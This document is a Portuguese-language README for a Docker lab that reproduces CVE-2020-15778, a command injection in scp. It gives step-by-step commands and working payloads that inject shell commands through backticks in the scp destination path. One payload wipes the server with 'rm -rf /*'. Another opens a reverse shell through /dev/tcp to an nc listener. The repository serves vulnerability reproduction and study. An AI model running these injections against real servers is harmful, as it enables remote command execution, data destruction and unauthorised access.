CVE-2020-15778

Introdução

Este repositório reproduz CVE-2020-15778.

Passos

1. Construa as imagens docker para o servidor e cliente scp

cd client
docker build -t client-cve .

cd server
docker build -t server-cve .

2. Inicie o servidor scp em um container.

docker run -d -P --name scp-server server-cve

Obtenha o endereço IP interno do servidor scp através de

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server

3. Execute o cliente em um container.

docker run --name scp-client -i -t client-cve

4. Injete seu próprio comando shell no servidor scp chamando o comando scp no cliente.

No terminal do cliente, execute

scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'

A senha é "PASSWORD".

Exemplos

Aqui estão alguns exemplos para esta exploração.

1. Apague tudo no servidor para travá-lo.

scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'

2. Reflita o bash do servidor scp para o cliente (imitando ssh).

Escute uma porta na máquina cliente.

nc -lvvp 8080

Use scp para forçar o servidor a mapear o bash interativo para a máquina cliente.

scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'

O endereço IP do cliente pode ser obtido através de

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client